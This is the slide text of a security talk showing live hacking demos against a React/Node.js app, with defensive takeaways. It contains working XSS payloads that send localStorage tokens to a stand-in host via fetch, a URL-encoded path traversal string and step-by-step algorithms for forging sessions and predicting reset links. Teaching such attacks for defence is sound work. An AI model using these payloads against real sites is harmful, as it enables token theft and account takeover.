This will be 6 live hacking demos. We will not do theory, but will see in practice how small and not always obvious errors lead to significant vulnerabilities in your JavaScript application.

2. Viktor Turskyi
● CEO at WebbyLab
● 15 years in software development

3. Why I talk about security?
1. I switched to software development from IT security
2. I work with software engineers for many years and this topic is highly
undercovered
3. I work with different businesses for many years and risks are highly
underestimated
4. Governmental regulations (GDPR, PCI DSS etc)
5. It makes you a better software engineer
6. It is FUN!!

4. What I will talk about?
1. Not about OWASP (Open Web Application Security Project) Top 10 report
2. Not about security tools (metasploit, sqlmap etc)
3. Not about content security policy.
4. Only practical cases that we’ve met in real life.
5. JavaScript based demos
6. Real cases simulated in environment
a. React frontend
b. NodeJs backend
c. Set of exploits

5. Overview of the existing application

6. Let’s play a game
1. I show you a piece of application code with vulnerability.
2. Who sees the vulnerability?
3. I run exploit
4. You guess the exploits algorithm
5. I go through exploit in details

7. Case 1: Password recovery by SMS

8. Case 1: Description
To improve security a company decided to use SMS for password recovery.
User enters own email and receives on phone code like: 7483

9. Run exploit

10. How does the exploit work?

11. Case 1: Takeaways
Think about bruteforce.
Reset codes:
SMS codes
CAPTCHA Codes
Limit requests per IP is not a solution

13. Case 2: Email password recovery

14. /reset-password?actionId=5c6a84d97955741020400f3f

16. Run exploit

17. How does the exploit work?

19. Algorithm
1. Prepare payloads for any object creation and password restore link
generation.
2. Send them simultaneously.
3. Use got ObjectId of newly created object as base
4. Increment counters (at first) and timestamp (it is in seconds,+-1 is enough in
most cases)
5. Use the new object id for password recovery

20. Mongo <= v3.2
Mongo >= v3.4

22. Case 2: Takeaways
Mongo ID predictable (on all version of mongo)
UUID v1 predictable (unique, but not random)
UUID v4 unpredictable
Always think about predictability of URLs (keys, etc)

23. Case 3: File paths

25. Run exploit

26. How does the exploit work?

27. Let’s look step by step

28. A lot of frameworks had this vulnerability
ACSII: CHAR “.” = DEC 46 = HEX 2E = %2E (in URL)
/static/../etc/config.json
/static/%2e%2e/etc/config.json
Main reason: validate, then escape (should be escape, then validate)

29. Algorithm
1. Prepare path where do you expect to have sensitive data (configs).
2. Replace dots in relative paths with “%2e”
3. Get configs with JWT keys
4. Create own session for any user

30. Very popular modules can be vulnerable (11k weekly downloads)
Use npm audit (NODEJS DEVS ARE LUCKY TO HAVE IT)
Check your dependencies
Security is a question of trust
apt update
JWT vulnerability example (next slides)
Case 3: Takeaways

31. JWT vulnerability example

32. RFC 7119 JSON Web Token (JWT)

33. Case 4: Photos upload

35. Run exploit

36. How does the exploit work?

37. Algorithm
1. Prepare zip archive and pack symlink which references server configuration.
2. Upload zip archive to server
3. Download the uploaded file (which is symlink in real). It will return server
config
4. Create own session using a key from the config

38. decompress

39. Case 4: Takeaways
Thinks about edge cases
Just know how system works
Zip-Slip (next slides)

40. Zip-Slip

41. Case 5: Tweet creation

43. Run exploit

44. How does the exploit work?

46. Tweet text:
'<span>Hello world2</span> <img style="display:none" src="WRONG"
onerror="fetch('http://localhost:5000?token='+localStorage.getItem('token'))" />'

47. Case 5: Takeaways
IF YOU SEE WYSIWYG, CHECK YOUR CODE FOR XSS
Do not use regex for extracting script tags
Use sanitizer with tags and attrs white-listing
CORS will allow you do cross domain request
XSS worms issues

48. Case 6: The most popular vulnerability in
ReactJs boilerplates

52. Run exploit

53. How does the exploit work?

55. </script><script>fetch('http://localhost:5000?token=' +
localStorage.getItem('google_experiment_mod'))</script><script>

57. Case 6: Takeaways
Know HTML page parsing (inline JS not the same as external JS)
Think about data usage context
Use “serialize-javascript”: serializeJs(initialState, { isJSON: true }) instead of
JSON.stringify(initialState)

58. Case 7: Network risks

59. Case 7: Takeaways
Think about communication
Get the whole picture
Use HTTPS everywhere

60. Case 8..14:
Case 8: Clickjacking
Case 9: Tabnapping
Case 10: CSRF (cookie, basic auth)
Case 11: SQL Injection (pass through ORM)
Case 12: ORM Injection
Case 13: Unsafe HTTPS Redirect
Case 14: Target=_blank (without rel="noopener noreferrer")

61. Do you know how these things work?
Heartbleed
Shellshock
WPA Krack
Meltdown and Spectre

62. Why I like information security?
Information security is about understanding how things work
It makes you a better developer
You can create more complex projects
It is fun!

63. Thank you!

64. Telegram: @JABASCRIPT

66. Viktor Turskyi
viktor@webbylab.com
@koorchik @koorchik
https://webbylab.com